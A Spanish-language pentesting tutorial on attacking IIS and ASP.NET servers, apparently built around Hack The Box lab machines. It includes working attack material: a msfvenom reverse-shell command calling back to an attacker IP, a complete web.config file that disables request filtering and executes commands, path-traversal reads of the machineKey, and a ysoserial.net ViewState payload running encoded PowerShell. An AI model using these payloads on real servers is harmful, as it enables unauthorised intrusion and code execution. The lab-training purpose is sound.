Pentesting IIS y ASP.NET: web.config, shells .aspx y ViewState

Atacar un servidor IIS paso a paso: reconocer ASP.NET, fuzzing con extensiones, nombres cortos con tilde, subir una shell .aspx o un web.config, leer el machineKey y explotar el ViewState.

· 6 min de lectura

Cuando una máquina Windows tiene web, casi siempre es IIS, el servidor web de Microsoft, con aplicaciones ASP.NET. Se ataca distinto que un Apache con PHP: las extensiones que ejecutan código son otras, hay un fichero de configuración (web.config) que lo controla todo y existe un fallo de diseño propio, el ViewState, que con la clave adecuada se convierte en ejecución de código.

Lo mínimo que tienes que saber

  • Extensiones que ejecutan código en IIS: .aspx, .ashx, .asmx (ASP.NET) y .asp (ASP clásico). Si puedes subir o escribir una de ellas en la web, tienes una shell.
  • web.config es la configuración de la aplicación. Puede contener cadenas de conexión con contraseñas y el machineKey, la clave que firma y cifra el ViewState.
  • El ViewState es un campo oculto (__VIEWSTATE) con el estado de la página serializado. Si conoces el machineKey, puedes fabricar uno malicioso que el servidor deserializa: ejecución de código.
  • La shell que consigas correrá como IIS APPPOOL\<nombre>, que casi siempre tiene SeImpersonatePrivilege.

Requisitos

  • ffuf o gobuster y SecLists.
  • shortscan para los nombres cortos: go install github.com/bitquark/shortscan/cmd/shortscan@latest.
  • Webshells de Kali en /usr/share/webshells/aspx/ y msfvenom.
  • Una VM de Windows (o una sesión en la víctima) para ysoserial.net si llegas al ViewState.
  • Para practicar: Devel y Bounty (fáciles) y POV (media).

Paso 1: reconocer IIS y ASP.NET

curl -sI http://10.10.10.93/
HTTP/1.1 200 OK
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET

Otras pistas: la cabecera X-AspNet-Version, la cookie ASP.NET_SessionId, campos __VIEWSTATE y __EVENTVALIDATION en los formularios y páginas que acaban en .aspx. La versión de IIS te dice la de Windows (7.5 es Windows 7 o Server 2008 R2; 10.0 es Windows 10 o Server 2016 en adelante).

Paso 2: fuzzing con las extensiones correctas

IIS no distingue mayúsculas de minúsculas, así que usa listas en minúsculas y añade las extensiones de Microsoft:

ffuf -u http://10.10.10.93/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt \
  -e .aspx,.asp,.ashx,.asmx,.config,.txt -ic
transfer.aspx           [Status: 200, Size: 941, Words: 89, Lines: 22]
uploadedfiles           [Status: 301, Size: 157, Words: 9, Lines: 2]

SecLists trae además una lista específica de IIS: /usr/share/seclists/Discovery/Web-Content/IIS.fuzz.txt. El resto de opciones de fuzzing están en la guía de fuzzing de directorios y vhosts.

Paso 3: nombres cortos con la tilde

Por compatibilidad con MS-DOS, Windows da a cada fichero un nombre corto de 8+3 caracteres (TRANSF~1.ASP). Muchos IIS responden distinto si un nombre corto existe o no, lo que permite adivinar los primeros caracteres de ficheros que ningún diccionario encontraría:

shortscan http://10.10.10.93/

La salida lista los nombres cortos encontrados (por ejemplo TRANSF~1.ASP). Con el prefijo, haz un fuzzing dirigido: ffuf -u http://10.10.10.93/transfFUZZ.aspx -w palabras.txt.

Paso 4: subir una shell

Si encuentras una forma de escribir en la web (una subida, un FTP, una base de datos que escribe ficheros), sube una .aspx:

cp /usr/share/webshells/aspx/cmdasp.aspx .
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f aspx -o shell.aspx
  • En Devel el FTP anónimo escribe en la raíz de IIS: put shell.aspx y abres http://10.10.10.5/shell.aspx. Allí es un Windows de 32 bits, así que usa windows/shell_reverse_tcp.
  • En Silo es Oracle quien escribe la shell en la web con UTL_FILE.

Si el filtro bloquea .aspx (como en Hathor), prueba las demás extensiones que ejecutan código y los trucos de la guía de subida de ficheros.

Paso 5: cuando solo puedes subir un web.config

Es el caso de Bounty: transfer.aspx rechaza .aspx pero acepta .config. Un web.config puede convertirse a sí mismo en una página ASP que se ejecuta:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
  <system.webServer>
    <handlers accessPolicy="Read, Script, Write">
      <add name="web_config" path="*.config" verb="*" modules="IsapiModule"
           scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified"
           requireAccess="Write" preCondition="bitness64" />
    </handlers>
    <security>
      <requestFiltering>
        <fileExtensions><remove fileExtension=".config" /></fileExtensions>
        <hiddenSegments><remove segment="web.config" /></hiddenSegments>
      </requestFiltering>
    </security>
  </system.webServer>
</configuration>
<%
Set s = CreateObject("WScript.Shell")
Set c = s.Exec("cmd /c whoami")
Response.Write(c.StdOut.ReadAll())
%>

Súbelo y ábrelo (en Bounty, http://10.10.10.93/uploadedfiles/web.config):

bounty\merlin

Cambia whoami por una reverse shell de PowerShell.

Paso 6: leer el web.config

Si tienes una lectura de ficheros (LFI o path traversal), el primer objetivo en IIS es web.config. Prueba rutas relativas a la aplicación (web.config, \web.config, ..\web.config) y la absoluta habitual, C:\inetpub\wwwroot\web.config.

<machineKey decryption="AES" decryptionKey="<64 caracteres hexadecimales>"
            validation="SHA1" validationKey="<128 caracteres hexadecimales>" />

Busca también connectionString con usuario y contraseña de la base de datos. En POV un parámetro de descarga solo quita ../, así que \web.config funciona y devuelve un machineKey como el de arriba. En Perspective se consigue con una inclusión del lado del servidor (SSI) en un .shtml.

Paso 7: ViewState con el machineKey

Con el machineKey fabricas un ViewState que, al deserializarse, ejecuta tu comando. Desde Windows, con ysoserial.net:

.\ysoserial.exe -p ViewState -g TextFormattingRunProperties `
  --path="/portfolio/default.aspx" --apppath="/" `
  --decryptionalg="AES" --decryptionkey="<decryptionKey>" `
  --validationalg="SHA1" --validationkey="<validationKey>" `
  -c "powershell -e <base64>"

La salida es una cadena larga en Base64. Intercepta en Burp una petición POST a esa página y sustituye el valor de __VIEWSTATE por la cadena (codificada para URL). Si el comando es una reverse shell, llega la conexión. Más contexto sobre esta familia de fallos en deserialización insegura.

Nota

--path es la ruta de la página que procesa el ViewState y --apppath la raíz de la aplicación. Si te equivocas, el servidor rechaza el ViewState con un error de validación y no se ejecuta nada.

Errores típicos

  • 404.7 o 404.8 al pedir tu fichero: el request filtering de IIS bloquea esa extensión o el segmento (web.config está bloqueado por defecto). De ahí las líneas remove del Paso 5.
  • 500 al abrir el web.config subido: hay un error de sintaxis en el XML o falta el módulo de ASP clásico. Prueba primero sin el bloque <% %>.
  • La shell .aspx de msfvenom no conecta: arquitectura equivocada. Prueba la versión x86 y la x64, y revisa si Defender la ha borrado.
  • Validation of viewstate MAC failed: --path, --apppath o las claves no corresponden a la página. Copia el __VIEWSTATEGENERATOR de la página y pásalo con --generator en lugar de --path.
  • ysoserial.net no arranca en Linux: necesita .NET Framework. Usa una VM de Windows o una sesión en la propia víctima.

Y después

La cuenta del application pool tiene casi siempre SeImpersonatePrivilege: sigue con SeImpersonate y potatoes. Tienes los pasos web en la checklist web.

Practícalo en máquinas reales

Máquinas de Hack The Box donde se usa la técnica. Cada ▶ salta al minuto del vídeo de IppSec donde aparece.

IIS y ASP.NET 9 máquinas

Ver las 9 máquinas →

¿Ves un error o echas algo en falta? Cuéntanoslo